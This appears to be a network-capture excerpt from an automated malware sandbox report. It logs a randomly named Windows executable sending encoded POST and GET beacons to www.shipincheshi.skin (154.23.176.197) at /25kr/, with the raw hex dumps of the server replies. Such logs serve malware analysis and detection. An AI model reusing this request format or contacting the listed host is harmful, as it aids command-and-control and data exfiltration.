Sep 12, 2024 15:07:32.868330956 CEST	224	IN	Data Raw: 7a 27 74 88 2c 1e 51 dc 4c 58 22 05 4b 14 38 1b 01 03 c3 98 15 e7 b4 52 3d a8 58 7e ca 18 b2 6b a1 43 06 1e 47 c9 dd bb f7 47 9a 6e bf 8a ca 42 dd 52 10 03 d5 20 9a c1 33 03 93 96 a1 06 b9 56 cf 3b 83 34 23 18 62 c3 3e b1 75 12 a5 cf 5e 4e 31 34 Data Ascii: z't,QLX"K8R=X~kCGGnBR 3V;4#b>u^N14_jz1B06*z~_#T=Ci8^95Eq)@>7J0T:T~5P%72'Nj4YzVW!&~/9ZA=x-2N)&l
Sep 12, 2024 15:07:32.870918036 CEST	610	IN	Data Raw: af f8 e5 f7 59 0c 9b 83 ab e7 29 aa a7 6d 6b 41 00 e1 1d 9b 8a 98 86 18 b5 ce 18 a1 de 74 a8 7b 41 45 04 c7 21 b8 ab ed 48 d8 26 08 7b 14 3d 70 62 93 70 82 79 a0 8a 74 5a c3 d6 a7 f0 02 8b 08 b0 d0 b3 45 04 1f 98 04 9a aa 68 82 d4 85 4f 8d a3 27 Data Ascii: Y)mkAt{AE!H&{=pbpytZEhO'+C@9(*"6)wnjmoRi-PiJ8jQ1)rB_n)kp7}<Do0`~hkTUDwX/\lr'pe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	154.23.176.197	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:34.452281952 CEST	727	OUT	POST /25kr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.shipincheshi.skin Origin: http://www.shipincheshi.skin Referer: http://www.shipincheshi.skin/25kr/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 44 44 79 35 63 45 41 78 35 34 37 35 73 6e 47 2f 4d 74 55 7a 4d 6a 51 6b 59 4c 55 34 77 31 47 79 57 36 70 64 56 71 36 4d 65 44 73 6b 6e 68 46 6f 51 39 37 4e 6a 74 78 42 66 72 76 6d 73 53 64 64 69 62 56 41 38 59 2b 76 38 74 51 71 4a 74 68 49 6b 6e 30 55 71 35 70 79 6c 48 49 4a 50 79 36 6c 79 6d 4a 47 6b 68 47 67 7a 4d 71 57 4b 58 46 39 2b 6e 54 52 45 36 63 72 6e 6c 55 4f 36 57 78 61 30 74 2b 56 68 4e 73 48 6d 71 6f 50 78 55 4e 44 67 6b 4b 47 6f 75 4e 43 48 6c 36 6b 4a 64 2b 4b 33 51 79 6d 78 4b 55 70 33 77 35 46 55 51 6d 5a 32 75 76 4f 63 32 53 70 2b 44 2f 65 7a 57 4e 6c 76 4e 55 57 41 77 59 63 66 46 58 31 4b 5a 43 51 55 50 52 59 54 67 38 3d Data Ascii: 3tV=DDy5cEAx5475snG/MtUzMjQkYLU4w1GyW6pdVq6MeDsknhFoQ97NjtxBfrvmsSddibVA8Y+v8tQqJthIkn0Uq5pylHIJPy6lymJGkhGgzMqWKXF9+nTRE6crnlUO6Wxa0t+VhNsHmqoPxUNDgkKGouNCHl6kJd+K3QymxKUp3w5FUQmZ2uvOc2Sp+D/ezWNlvNUWAwYcfFX1KZCQUPRYTg8=
Sep 12, 2024 15:07:35.362529039 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:18:46 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4786 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c ff 77 db 54 96 ff 79 fb 57 bc 35 05 3b c5 96 6c 27 71 9c c4 09 6b 1c 27 31 24 76 ea 38 2d 1d da f5 91 a5 67 5b 58 96 54 e9 39 89 5b 7a 0e ec ce 00 b3 db 52 3a b0 4c bb 0b cb 14 ce a1 3d b0 d3 ce ce 17 60 80 b2 ff 4c 9d a6 3f ed bf b0 f7 49 fe 22 4b cf 8e eb 82 c3 ac 72 92 58 4f f7 dd f7 b9 f7 dd 7b df bd cf 92 12 7f bf 92 4b 15 ce 6d a5 51 95 d4 95 e5 13 89 ce 3f 2c 48 cb 27 10 1c 89 3a 26 02 12 ab 82 61 62 b2 e4 db 29 ac 86 e2 be f6 25 22 13 05 2f 3f fa d3 77 8f be fb a4 75 fd c6 a3 0f 3e 79 fc c1 ad c3 fb f7 13 bc 7d c5 c1 40 15 ea 78 c9 67 68 25 8d 98 3e 24 6a 2a c1 2a b0 53 35 59 95 f0 7e 50 d5 ca 9a a2 68 7b 3e c4 b7 7b 99 a4 d9 e1 40 0f fe 14 7a 51 30 31 3a c5 77 9b 4a 9a d4 44 97 bb a7 f4 10 35 45 33 16 d0 33 d3 d3 d3 8b 7d 17 ca 30 e0 02 8a c4 f4 7d 74 06 1b 92 a0 0a 41 e4 5b c7 ca 2e 26 b2 28 a0 2c 6e 60 5f 10 55 3b 0d 41 94 34 64 41 09 22 ff a6 2c 1a 9a a9 95 09 3a 27 ac 63 d9 1f 44 a6 a0 9a 21 13 1b 72 b9 7f 88 ba 60 54 64 75 01 85 fb 9b 75 41 92 64 b5 [TRUNCATED] Data Ascii: \wTyW5;l'qk'1$v8-g[XT9[zR:L=`L?I"KrXO{KmQ?,H':&ab)%"/?wu>y}@xgh%>$j*S5Y~Ph{>{@zQ01:wJD5E33}0}tA[.&(,n`_U;A4dA",:'cD!r`TduuAd(j2]vRyB\|/h{q<vuUdhlDqn=\W~0[e#DxD,iX@LM%)FkHRpaT``z?CIHfDPs4.d@=Yd6.vI52<lMIkCKbU`RW?;num;T2$46B738@PgFseXzCPJi`BK#DMZh C">B8nkpuYF-k%/\P:wI3?ajnvk\|m aHe!h0%4*kpEMr)HP9MP=Qf..2-%Wj7uB5:RGpAr$#z$RV-))XsM863nd);lSR`4REz,jU,Kh4&Lx&k$k_yR
Sep 12, 2024 15:07:35.362653971 CEST	1236	IN	Data Raw: 48 c7 52 0f 31 60 b1 7c 5a 9f 67 c8 6d ad 6a 47 2f 27 7d 43 fc 4c b4 31 30 1a 44 06 14 19 2c 0e 1e db ef 6a 15 98 f4 07 6c 26 23 49 de 5d 00 09 49 48 ac ca 8a c4 74 23 7b d1 1e 6d 65 6d d3 0e 59 5c 1d 0b 61 5f 3a 73 46 80 0a 12 52 55 93 9d d3 84 Data Ascii: HR1`\|ZgmjG/'}CL10D,jl&#I]IHt#{memY\a_:sFRUveGHec =B\|Z,}=3}d`NzDja[rcP}9Jde}NQ+;Ai[NEqdnv0`6b%0AX1tA'VmT
Sep 12, 2024 15:07:35.362670898 CEST	448	IN	Data Raw: a2 73 d1 3b 75 a1 e3 35 05 fe c0 0a e0 c8 16 86 2c 28 d6 26 91 7b 29 81 55 2f 05 85 22 da 26 90 a3 7a 17 41 58 48 18 cb 1f 0c fe 33 5d c4 01 19 33 83 71 c3 f7 10 09 04 31 12 1b 0b c9 f9 0e 92 f3 f6 a8 9d d1 db f9 4c 68 d9 8a 9c 53 93 cc 6b 76 0c Data Ascii: s;u5,(&{)U/"&zAXH3]3q1LhSkv'{B#O`Z{&n&`PkFC$%EyFC4'F'8.iuW64mkg0D{qy-]@+2uMd<Vn=:{Uz1@$
Sep 12, 2024 15:07:35.362766027 CEST	1236	IN	Data Raw: ca 9f 2b 54 e2 4b 4c 45 30 55 04 ad 03 34 eb a0 18 3c 47 4f 6f 21 ab 32 35 f1 e3 b0 cd 94 a6 d5 e4 63 1a 7b 1b 9b 26 2d f2 8f 67 6c 03 d2 28 3e 6f 57 4a 3f b9 77 ee 6c a7 f3 63 ba 27 44 7c 66 9f 31 2d f9 48 a8 eb b9 cd f4 98 50 f9 aa 56 c7 fc a4 Data Ascii: +TKLE0U4<GOo!25c{&-gl(>oWJ?wlc'D\|f1-HPVoB1wo]$\|NzPgNwsB>]t;Ls+c"VIq&/ns\1&BapB_Kgl!_MuZfL>v-N~\9B%L\|jf#4
Sep 12, 2024 15:07:35.362782001 CEST	224	IN	Data Raw: c3 7a ec 96 7d d9 86 c2 0d 81 e2 d4 6f 0f 85 f9 62 33 45 6d 3d 2b d4 dd 13 3a 44 16 97 28 4e 26 2c 91 06 4b 34 70 36 06 0c 0c 63 16 3b a7 c5 52 b3 68 f9 29 63 c8 b6 85 0e 19 78 1c 25 b7 ef e8 1f 69 ba bd 2a 2a 08 15 4b 41 0c 54 fd 68 fa cf 0c 4c Data Ascii: z}ob3Em=+:D(N&,K4p6c;Rh)cx%i*KAThL:9H3!V['A<CNz!HOSZ] ,)Cy\I_?sh8'#zgIcO(3@5]U}/aqVH7zol
Sep 12, 2024 15:07:35.362919092 CEST	635	IN	Data Raw: aa 7c 81 13 bb ae 35 a8 67 1b af 05 90 d3 1b 66 b5 d3 77 8a 49 ee 35 db 2b 5e f9 3d 16 c3 e6 e0 e8 79 92 ea 69 db 5a 10 40 f8 8e 4d 05 4c 43 0c 5a 67 8c 50 6f 76 a8 bb 41 45 04 c7 21 b8 ad ed 80 df 26 f0 bb 14 dd 77 62 93 70 82 d9 54 45 3a ad 7e Data Ascii: \|5gfwI5+^=yiZ@MLCZgPovAE!&wbpTE:~EXLMU4Ajc! NZXRqG7e@`@44O[ZM/G'?~_~sO>"^D3}Z45U*)"5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	154.23.176.197	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:37.000893116 CEST	10809	OUT	POST /25kr/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.shipincheshi.skin Origin: http://www.shipincheshi.skin Referer: http://www.shipincheshi.skin/25kr/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 44 44 79 35 63 45 41 78 35 34 37 35 73 6e 47 2f 4d 74 55 7a 4d 6a 51 6b 59 4c 55 34 77 31 47 79 57 36 70 64 56 71 36 4d 65 44 6b 6b 6b 58 52 6f 52 62 7a 4e 67 74 78 42 41 62 76 6a 73 53 63 48 69 62 64 4d 38 59 43 2f 38 72 55 71 47 76 35 49 69 56 51 55 6b 35 70 79 36 33 49 4b 53 43 36 77 79 6e 6c 43 6b 6c 61 67 7a 4d 71 57 4b 52 42 39 39 32 54 52 47 36 63 6f 77 56 56 42 2b 57 77 48 30 74 6d 72 68 4e 70 77 6d 62 49 50 79 30 39 44 7a 6e 79 47 71 4f 4e 41 45 6c 37 35 4a 64 7a 49 33 52 66 64 78 4c 67 50 33 7a 6c 46 55 6d 48 6f 6a 4f 7a 34 4b 77 43 62 73 6b 4b 6b 37 78 70 66 6a 75 6b 4b 4d 51 41 31 41 52 6e 58 4f 4f 54 55 4c 50 39 44 48 47 37 45 73 72 4d 38 38 57 78 38 38 61 55 33 4e 79 79 37 58 69 6a 58 62 59 2b 4c 63 75 4f 52 78 64 48 7a 45 74 4b 49 30 62 52 73 35 44 59 34 64 44 58 64 36 36 72 79 62 57 51 66 30 30 47 2f 7a 2f 61 73 57 47 65 4f 45 74 6a 75 37 37 55 4f 47 61 68 39 6e 34 53 50 65 74 63 30 50 65 44 55 78 38 43 51 69 6b 4c 31 32 4f 6a 46 46 48 6d 66 31 63 41 48 43 2b 56 53 4f 56 [TRUNCATED] Data Ascii: 3tV=DDy5cEAx5475snG/MtUzMjQkYLU4w1GyW6pdVq6MeDkkkXRoRbzNgtxBAbvjsScHibdM8YC/8rUqGv5IiVQUk5py63IKSC6wynlCklagzMqWKRB992TRG6cowVVB+WwH0tmrhNpwmbIPy09DznyGqONAEl75JdzI3RfdxLgP3zlFUmHojOz4KwCbskKk7xpfjukKMQA1ARnXOOTULP9DHG7EsrM88Wx88aU3Nyy7XijXbY+LcuORxdHzEtKI0bRs5DY4dDXd66rybWQf00G/z/asWGeOEtju77UOGah9n4SPetc0PeDUx8CQikL12OjFFHmf1cAHC+VSOVAbutZDOXcNNAUZCpZdNDw5w39IhOQPlkhJIFDnAvltHB0kwFdHY3MyG7LUuLK+/6rZ8i43+My5GfxxVoPGtO/OZCik6z9rJvkHAxRY6KDucP6JqNI3YJZtsTuF5F4cG/orNV4ZD5n7+2flNsEG3R4NiYczGwFiSe2Ph+2i1OBpSMdx425I210dlVcPYH8sE8RorgLj9/KFq4aPIeBHZQYracaDn1A2ZwM4s4prsYzBLg7ZUUFjDJEJucqoxoGDY1mVeloDF4vZJq5SkjufH5Ks/2jn2OADp3C6TwpKqGkkn6lniqJNNegfNCvjNNzKa80wlJp3Uter3RwSySls3OfY7O3pjmwPR99IUjP8WBrtpG0FQMXnNJVFdyL5YfZxGtxF/DRSUj/T1KXh1MvqFaKQXkvU9BKGGT5vsBS+cz0Mm1Pfq5xol4OfURu6IVoMgw1kEl/1Oy/Tr3q0K29N+Uqz8YS//lohCqvg5IMq/9bvm7cqXv9roCsYRHOX9r1z9aNB/xFhYIPxBIIydri9+zb1xQE/PBAX39UXXISA01g8hXN52CezA0eO5HkddM14npqwF99K4lNnp+wN8pLgqqs55LtX1+8aerdNvH4H7xVNlUJruxyt0ZHTRtJ3JA7EJ8h3ORxu9TJU69r4v8N52um0rOzHvBDU2M0l [TRUNCATED]
Sep 12, 2024 15:07:38.182912111 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:18:49 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 12974 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd bd 7b 97 dc da 75 27 f6 77 f4 29 10 5a 36 79 6d b2 01 14 de f7 f2 5e 07 af 02 50 85 57 01 a8 a7 a5 70 a1 00 14 80 c2 fb 55 00 4a d6 5a 76 32 63 6b 12 c9 b2 c7 8e 47 4a ec 78 64 af 65 79 d9 19 69 32 93 d8 1e db 72 be 8c 78 75 f5 57 be 42 50 dd 6c b2 d9 5d cd 4b 51 36 af 27 e0 62 77 e1 e0 9c 7d 7e 7b 9f fd 3c 8d 02 9e fe b7 9c c6 5a 6b 9d 07 82 3a 89 3f f9 d2 d3 eb 5f 9e ed 7e f2 25 60 38 9e 26 5e 6d 03 4e 60 97 95 57 7f fc 60 6e 8d 9f 90 0f 5e 5c aa c3 3a f6 3e f9 c9 7f fe fb 9f fc fd 9f 3c ff f6 ef fd e4 0f fe e4 a7 7f f0 dd cf 7e f8 c3 a7 e0 d5 95 1b 04 52 3b f1 3e 7e 50 66 db ac ae 1e 00 4e 96 d6 5e 3a 90 4b b3 30 75 bd ee 71 9a ed b2 38 ce da 07 00 f8 62 54 55 f7 d7 14 4e 07 f8 cb 00 63 57 1e f0 cb e0 cb a6 6d e6 f6 c0 d7 5e 9e 9e 0e 27 8b b3 f2 43 e0 17 10 04 f9 e8 b5 0b bb 61 c2 0f 01 18 cf 3b 60 e1 95 ae 9d da 8f 81 07 a2 17 1f bc 3a 74 6c 40 f5 1a ef c1 63 20 b8 6e 78 0c d0 65 68 c7 8f 81 87 4a e8 94 59 95 ed 6a 60 6d 8b 5e f8 f0 31 50 d9 69 f5 a4 f2 ca 70 f7 [TRUNCATED] Data Ascii: {u'w)Z6ym^PWpUJZv2ckGJxdeyi2rxuWBPl]KQ6'bw}~{<Zk:?_~%`8&^mN`W`n^\:><~R;>~PfN^:K0uq8bTUNcWm^'Ca;`:tl@c nxehJYj`m^1Pip]a!aW=S,94M<z#&[/g54SI2`I:CoO"?EtMuU.eG{1/Fn=7I~~zNVuKpxA_@?,\|0+R0-+evv"lxN[fnL7^>qBb/P{x}r";z%/=;;C$jptrP4<qxW>m}&)cmmKdRns7_$^UwqT\=U~:y^5jF\G?Odd-AFd8qq*x;>vgV}+(TxOr}3v%RA=w,sYN72L/-fgNtk>R/o;(aS
Sep 12, 2024 15:07:38.183017015 CEST	224	IN	Data Raw: 90 d5 41 e8 9c 4c e1 6d ad e4 ac fe 5d 9a ee a0 63 e4 e7 7b a8 db 62 8d c3 af 9d 53 db 2b 82 6f 72 4b f7 bb 9b 37 78 a3 b7 c3 74 57 c7 ef 4d b6 5f 4e 73 67 b1 de 62 b1 ef e3 f5 35 37 f0 d6 8b fa 4f e2 e9 ce 89 a7 2e 87 60 f9 f3 da fc 19 be 2f a3 Data Ascii: ALm]c{bS+orK7xtWM_Nsgb57O.`/"{\|Oq),!7<\|8pX?q0vU~@Z:rHU9]^o>t\d0?wKagGONFbp3`7
Sep 12, 2024 15:07:38.183051109 CEST	1236	IN	Data Raw: 78 d7 92 eb 74 dc 57 5f be 1d 4a a0 4a ec f8 96 da be 36 21 72 bb 9e 7d 9b 78 75 95 a0 bc 70 61 d0 6d 86 ae fd a6 e3 38 6f 0d b7 3e 6d 76 9c 81 f9 42 68 6f 59 09 dc 6f f6 3f 8b b9 df 84 e5 de 63 ac d0 5d 27 38 64 2c a7 ad 95 f8 5a 0d 06 4f 77 46 Data Ascii: xtW_JJ6!r}xupam8o>mvBhoYo?c]'8d,ZOwF/oXKg2huy_I 'eG>--Ko8{gxR5:LiPjs[oHH{i='uaZ_dghq{i_r00o^
Sep 12, 2024 15:07:38.183106899 CEST	1236	IN	Data Raw: 26 ff 17 1a c4 07 64 67 33 98 db f0 ef 74 b2 6b e0 4c 62 73 89 e4 2b d7 48 be 72 35 eb f5 ec 2f f2 99 27 9f 5c 7a ce 0f de 67 5e 33 2f e3 57 bc 8f 06 d7 73 ab e1 24 8c 3b 6c ff 33 0b 67 80 70 89 e3 7d 8a 85 ce f3 57 6c a3 d0 a0 18 b7 5b de 8b 24 Data Ascii: &dg3tkLbs+Hr5/'\zg^3/Ws$;l3gp}Wl[$I/g~zT6FK<;M@n}<_zs2K/${?}bxI^Cuy28W2=fLOWuyRsxPRT
Sep 12, 2024 15:07:38.183141947 CEST	448	IN	Data Raw: 6c 02 2a 7a 0d 1e 0c dc 9d 1e 92 85 43 13 33 98 e2 5c 56 51 d5 59 3a 96 10 04 99 f4 75 b6 48 e4 04 4f 2a cb 1c 2d 16 70 05 81 53 73 5a fb 08 0f 1c 39 48 e6 7c 2c 68 40 69 b7 d9 78 4b a2 48 9d 48 37 f9 70 4a d4 6d 61 c5 c1 14 6e a4 23 15 7a b3 d5 Data Ascii: lzC3\VQY:uHO-pSsZ9H\|,h@ixKHH7pJman#zhkHHV{R,1OpA,N;1\x4YhiVk(whQEga@#F.>IB9lD,~8,'{z-R`oBZ.UTw.$D:S&`+\>Bb6.c
Sep 12, 2024 15:07:38.183177948 CEST	1236	IN	Data Raw: fd cc 1d e2 62 d6 00 65 6d 09 07 af b6 9c 30 b4 b4 11 8e 70 a8 e5 f2 9b 43 14 53 25 92 62 92 e0 98 a2 8f 42 ee 92 6b 6d 8e 74 64 49 89 41 4d 2d d6 d5 56 82 c6 f9 d4 b0 e5 00 f1 c7 b5 3d d9 16 62 6f 4d c7 c4 0c b3 8e f3 45 17 4e 66 1a 5b cf e3 21 Data Ascii: bem0pCS%bBkmtdIAM-V=boMENf[!>vG}CHiFXS)PI(5^\N!]&56sreMRumo[!S)pnB&YV0W0YCH<<A7;I3b
Sep 12, 2024 15:07:38.183208942 CEST	224	IN	Data Raw: 58 33 16 04 46 ce ba 21 79 eb b0 14 80 16 7b 6c 53 2f e7 c7 e5 74 2f 28 1b cc d9 4c 24 4a 69 a6 60 27 07 18 23 a0 56 3f 9b 86 e9 04 b5 01 69 2c 36 09 69 4a 0d 11 ee aa 46 29 68 ae 43 9d c5 2a 3b 4c d4 45 9e 70 e8 21 66 8c d9 48 eb 02 44 94 e8 79 Data Ascii: X3F!y{lS/t/(L$Ji`'#V?i,6iJF)hC*;LEp!fHDyydyV]3Xs6fdq_k;E B V1X"A@V>%FJ)RtACj>+#o}Hi(7u&+qan.7ER!v?
Sep 12, 2024 15:07:38.183243036 CEST	1236	IN	Data Raw: a4 10 63 d8 f2 d0 70 41 07 70 72 1c 82 c3 50 b0 80 ee 74 6d eb 0a db 2f e8 9e 64 37 09 af a2 44 5a 34 54 2f 6e 27 c3 50 80 dc cf 70 76 99 d3 bc ad cd c6 58 0f 28 d3 3e 93 10 9f 2b d1 05 08 27 76 df d0 62 91 37 72 c7 29 ce 34 a5 80 49 c5 b7 a8 c5 Data Ascii: cpAprPtm/d7DZ4T/n'PpvX(>+'vb7r)4I(RLpI]&@"gKsYR"u48'gQn4Gh;oE$O[7]`3vh}gn!G~yS;^H[T+#UK8OF
Sep 12, 2024 15:07:38.183278084 CEST	224	IN	Data Raw: 07 c6 dc 44 80 a5 1f cc 3c d7 8c 84 40 2b 8e 41 05 16 bc 0b 63 b3 ad b8 32 27 2b a7 93 3a 95 e7 47 21 27 4f 4b 67 b9 1d 65 3c ef c3 76 6a f8 48 4a 27 e5 c8 9a 09 79 35 88 48 21 0f 33 05 1e aa e8 75 17 85 cb 79 c5 f2 c1 7c 3d 5b ce 75 d9 91 11 9e Data Ascii: D<@+Ac2'+:G!'OKge<vjHJ'y5H!3uy\|=[udgdN{livQ;@MKs<Ss(y3CP#rC0}0pPJyN\$@CMd[^C&,\|5O
Sep 12, 2024 15:07:38.183307886 CEST	1236	IN	Data Raw: 90 b7 6b c7 89 5c 17 c9 5a d8 d4 c7 34 0c 9a c3 34 9c f0 fd 96 d1 bb cd a1 c3 b6 7b 45 ed 6b 02 0b 45 6c bb 71 68 14 26 27 29 36 de 55 53 51 37 e7 4c da 93 f9 3a d1 4d 97 50 94 5c 33 85 8e 93 76 b4 b9 5c 40 a2 21 d9 b3 24 26 82 ba e3 01 89 5c ee Data Ascii: k\Z44{EkElqh&')6USQ7L:MP\3v\@!$&\-b<vU27qyiH.rWXCbX%(Cw1Yj}Xmq\kJtx2NqmV*[:2}dM .=waan+n369tO
Sep 12, 2024 15:07:38.188293934 CEST	1236	IN	Data Raw: f2 c8 f7 e4 62 b3 1f 83 e3 78 33 15 93 f1 18 9a 44 80 a1 08 7c c8 97 a9 ae f8 30 d3 4b 9b 83 8d c6 50 5d 80 04 26 4c 63 c6 0e 6b 49 3f ae cc 55 11 b2 24 36 3b 2e 9b 7d ab 69 3a 10 35 35 e6 8d f8 ad 5f 4d b8 28 d3 b5 b5 ba 9d 4d 94 74 3a c6 c1 c5 Data Ascii: bx3D\|0KP]&LckI?U$6;.}i:55_M(Mt:L6';I-<Q-ukL9ZX%} A~och,RUP;1Ky.r]dxTulE.fcZ` l,0+\|s<[=0@(+YOwBO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	154.23.176.197	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:39.542717934 CEST	436	OUT	GET /25kr/?3tV=OBaZfyA9mrXrqkerGJdoBE4AUoAB8BDMFL96R6e2a3wywxYSJcqYm8ZoKYyxvhEHyag814v77I5kSeFlkRp9ldlOkmNbRx3b8AF2oRSh5frHPX5DuU6sJMI=&IhkTb=xPfHG0o8kZI8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.shipincheshi.skin User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:07:40.502587080 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Sep 2024 13:18:51 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d [TRUNCATED] Data Ascii: 2000<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title></title> <meta name="robots" content="noindex,nofollow" /> <style> /* Base */ body { color: #333; font: 16px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft YaHei', sans-serif; margin: 0; padding: 0 20px 20px; } h1{ margin: 10px 0 0; font-size: 28px; font-weight: 500; line-height: 32px; } h2{ color: #4288ce; font-weight: 400; padding: 6px 0; margin: 6px 0 0; font-size: 18px; border-bottom: 1px solid #eee; } h3{ margin: 12px; font-size: 16px; font-weight: bold; } abbr{ cursor: help; text-decoration: underline; text-decoration-style: dotted; } a{ color [TRUNCATED]
Sep 12, 2024 15:07:40.502619982 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a Data Ascii: cursor: pointer; } a:hover{ text-decoration: underline; } .line-error{ background: #f8cbcb; } .echo table { width: 100%; } .echo pr
Sep 12, 2024 15:07:40.502634048 CEST	1236	IN	Data Raw: 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 39 39 39 3b 0a Data Ascii: padding: 16px; border-radius: 4px; background: #999; } .exception .source-code{ padding: 6px; border: 1px solid #ddd; background: #f9f9f9; overflow-x
Sep 12, 2024 15:07:40.502650023 CEST	672	IN	Data Raw: 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 Data Ascii: line-height: 16px; font-size:14px; font-family: Consolas,"Liberation Mono",Courier,Verdana,""; } .exception .trace ol{ margin: 12px; } .exception .trace ol li{
Sep 12, 2024 15:07:40.502665997 CEST	1236	IN	Data Raw: 70 74 69 6f 6e 2d 76 61 72 20 74 61 62 6c 65 20 63 61 70 74 69 6f 6e 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 Data Ascii: ption-var table caption{ text-align: left; font-size: 16px; font-weight: bold; padding: 6px 0; } .exception-var table caption small{ font-weight: 300; disp
Sep 12, 2024 15:07:40.502681017 CEST	1236	IN	Data Raw: 23 30 30 38 20 7d 20 20 2f 2a 20 61 20 6b 65 79 77 6f 72 64 20 2a 2f 0a 20 20 20 20 20 20 20 20 70 72 65 2e 70 72 65 74 74 79 70 72 69 6e 74 20 2e 63 6f 6d 20 7b 20 63 6f 6c 6f 72 3a 20 23 38 30 30 20 7d 20 20 2f 2a 20 61 20 63 6f 6d 6d 65 6e 74 Data Ascii: #008 } /* a keyword / pre.prettyprint .com { color: #800 } / a comment / pre.prettyprint .typ { color: #606 } / a type name / pre.prettyprint .lit { color: #066 } / a literal value / / punctuation, l
